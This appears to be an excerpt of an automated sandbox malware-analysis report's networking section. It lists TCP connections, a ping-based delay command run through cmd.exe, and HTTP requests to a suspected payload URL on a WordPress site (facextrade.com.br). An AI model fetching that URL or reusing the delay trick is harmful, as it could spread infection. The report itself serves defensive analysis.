Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 192.168.2.22:49175 -> 104.18.11.207:80
Source: global traffic	TCP traffic: 192.168.2.22:49176 -> 142.250.181.238:80
Source: global traffic	TCP traffic: 192.168.2.22:49174 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 192.168.2.22:49174 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 192.168.2.22:49174 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 192.168.2.22:49172 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 192.168.2.22:49179 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 192.168.2.22:49180 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 192.168.2.22:49181 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 192.168.2.22:49182 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 192.168.2.22:49183 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 192.168.2.22:49182 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 192.168.2.22:49184 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 192.168.2.22:49185 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 192.168.2.22:49186 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 192.168.2.22:49187 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 192.168.2.22:49188 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 192.168.2.22:49189 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 192.168.2.22:49190 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 192.168.2.22:49191 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 192.168.2.22:49189 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 192.168.2.22:49192 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 192.168.2.22:49193 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 192.168.2.22:49194 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 192.168.2.22:49195 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 192.168.2.22:49195 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 192.168.2.22:49194 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 192.168.2.22:49195 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 192.168.2.22:49194 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 192.168.2.22:49198 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 192.168.2.22:49197 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 192.168.2.22:49197 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 192.168.2.22:49198 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 192.168.2.22:49197 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 192.168.2.22:49198 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 192.168.2.22:49197 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 192.168.2.22:49198 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 192.168.2.22:49197 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 192.168.2.22:49198 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 192.168.2.22:49197 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 192.168.2.22:49198 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 192.168.2.22:49202 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 192.168.2.22:49201 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 192.168.2.22:49202 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 192.168.2.22:49202 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 192.168.2.22:49202 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 192.168.2.22:49202 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 192.168.2.22:49202 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 192.168.2.22:49202 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 192.168.2.22:49202 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 192.168.2.22:49202 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 192.168.2.22:49202 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 192.168.2.22:49202 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 192.168.2.22:49202 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 192.168.2.22:49201 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 192.168.2.22:49202 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 192.168.2.22:49201 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 192.168.2.22:49202 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 192.168.2.22:49201 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 192.168.2.22:49202 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 192.168.2.22:49202 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 192.168.2.22:49201 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 192.168.2.22:49202 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 192.168.2.22:49201 -> 187.45.240.69:80
Source: global traffic	TCP traffic: 192.168.2.22:49202 -> 187.45.240.69:80

Networking

Uses ping.exe to check the status of other devices and networks

Source: C:\Windows\System32\cmd.exe

Process created: C:\Windows\System32\PING.EXE ping -n 8 127.0.0.1

Source: Joe Sandbox View

JA3 fingerprint: 7dcce5b76c8b17472d024758970a406b

Source: Joe Sandbox View	IP Address: 104.18.11.207 104.18.11.207
Source: Joe Sandbox View	IP Address: 104.18.11.207 104.18.11.207

Source: global traffic	HTTP traffic detected: GET /translate_a/element.js?cb=googleTranslateElementInit2 HTTP/1.1Accept: /Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: translate.google.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wp-includes/certificates/4.txt HTTP/1.1Accept: /Accept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: facextrade.com.brConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wp-content/themes/theme51253/bootstrap/css/bootstrap.css HTTP/1.1Accept: /Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: facextrade.com.brConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /font-awesome/3.2.1/css/font-awesome.css?ver=3.2.1 HTTP/1.1Accept: /Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: netdna.bootstrapcdn.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /translate_a/element.js?cb=googleTranslateElementInit2 HTTP/1.1Accept: /Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: translate.google.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wp-content/themes/CherryFramework/css/camera.css HTTP/1.1Accept: /Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: facextrade.com.brConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wp-content/themes/theme51253/style.css HTTP/1.1Accept: /Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: facextrade.com.brConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wp-content/themes/theme51253/bootstrap/css/responsive.css HTTP/1.1Accept: /Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: facextrade.com.brConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wp-content/plugins/gtranslate/gtranslate-style24.css?ver=4.9.20 HTTP/1.1Accept: /Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: facextrade.com.brConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wp-content/plugins/instagram-feed/css/sbi-styles.min.css?ver=2.9.2 HTTP/1.1Accept: /Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: facextrade.com.brConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wp-content/plugins/cherry-plugin/lib/js/FlexSlider/flexslider.css?ver=2.2.0 HTTP/1.1Accept: /Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: facextrade.com.brConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wp-content/plugins/cherry-plugin/lib/js/owl-carousel/owl.carousel.css?ver=1.24 HTTP/1.1Accept: /Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: facextrade.com.brConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wp-content/plugins/cherry-parallax/css/parallax.css?ver=1.0.0 HTTP/1.1Accept: /Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: facextrade.com.brConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wp-includes/js/wp-emoji-release.min.js?ver=4.9.20 HTTP/1.1Accept: /Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: facextrade.com.brConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wp-content/plugins/contact-form-7/includes/css/styles.css?ver=5.0.3 HTTP/1.1Accept: /Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: facextrade.com.brConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wp-content/plugins/bannerrotator/css/banner-rotator.css?ver=4.9.20 HTTP/1.1Accept: /Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: facextrade.com.brConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wp-content/plugins/bannerrotator/css/caption.css?ver=4.9.20 HTTP/1.1Accept: /Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: facextrade.com.brConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wp-content/plugins/logo-slider-wp/public/assets/lib/owl/assets/owl.carousel.min.css?ver=1.0.0 HTTP/1.1Accept: /Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: facextrade.com.brConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wp-content/plugins/logo-slider-wp/public/assets//lib/owl/assets/owl.theme.default.min.css?ver=1.0.0 HTTP/1.1Accept: /Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: facextrade.com.brConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wp-content/plugins/logo-slider-wp/public/assets/lib/animate/animate-logo.css?ver=20 HTTP/1.1Accept: /Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: facextrade.com.brConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wp-content/plugins/logo-slider-wp/public/assets/css/logo-slider-wp-public.css?ver=1.0.0 HTTP/1.1Accept: /Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: facextrade.com.brConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wp-content/themes/theme51253/main-style.css HTTP/1.1Accept: /Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: facextrade.com.brConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wp-content/themes/CherryFramework/css/magnific-popup.css?ver=0.9.3 HTTP/1.1Accept: /Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: facextrade.com.brConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wp-content/plugins/cherry-plugin/includes/css/cherry-plugin.css?ver=1.2.8.1 HTTP/1.1Accept: /Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: facextrade.com.brConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wp-content/plugins/motopress-content-editor/includes/css/theme.css?ver=1.5.8 HTTP/1.1Accept: /Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: facextrade.com.brConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wp-content/plugins/motopress-content-editor/bootstrap/bootstrap-grid.min.css?ver=1.5.8 HTTP/1.1Accept: /Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: facextrade.com.brConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wp-content/plugins/cherry-plugin/lib/js/owl-carousel/owl.theme.css?ver=1.24 HTTP/1.1Accept: /Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: facextrade.com.brConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wp-content/themes/CherryFramework/js/jquery-1.7.2.min.js?ver=1.7.2 HTTP/1.1Accept: /Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: facextrade.com.brConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wp-content/plugins/cherry-plugin/lib/js/jquery.easing.1.3.js?ver=1.3 HTTP/1.1Accept: /Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: facextrade.com.brConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wp-content/themes/CherryFramework/style.css HTTP/1.1Accept: /Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: facextrade.com.brConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wp-content/plugins/cherry-plugin/lib/js/elasti-carousel/jquery.elastislide.js?ver=1.2.8.1 HTTP/1.1Accept: /Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: facextrade.com.brConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wp-content/plugins/bannerrotator/js/jquery.flashblue-plugins.js?ver=4.9.20 HTTP/1.1Accept: /Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: facextrade.com.brConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wp-content/plugins/bannerrotator/js/jquery.banner-rotator.js?ver=4.9.20 HTTP/1.1Accept: /Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: facextrade.com.brConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wp-content/plugins/logo-slider-wp/public/assets/lib/owl/owl.carousel.js?ver=1.0.0 HTTP/1.1Accept: /Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: facextrade.com.brConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wp-content/themes/CherryFramework/css/style.css HTTP/1.1Accept: /Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: facextrade.com.brConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wp-content/themes/CherryFramework/js/jquery-migrate-1.2.1.min.js?ver=1.2.1 HTTP/1.1Accept: /Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: facextrade.com.brConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wp-content/plugins/logo-slider-wp/public/assets/js/logo-slider-wp-public.js?ver=1.0.0 HTTP/1.1Accept: /Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: facextrade.com.brConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wp-includes/js/swfobject.js?ver=2.2-20120417 HTTP/1.1Accept: /Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: facextrade.com.brConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wp-content/themes/CherryFramework/bootstrap/js/bootstrap.min.js?ver=2.3.0 HTTP/1.1Accept: /Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: facextrade.com.brConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wp-content/themes/CherryFramework/js/modernizr.js?ver=2.0.6 HTTP/1.1Accept: /Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: facextrade.com.brConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wp-content/themes/CherryFramework/js/jquery.mobile.customized.min.js HTTP/1.1Accept: /Referer: http://facextrade.com.br/wp-includes/certificates/4.txtAccept-Language: en-USUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: facextrade.com.brConnection: Keep-Alive
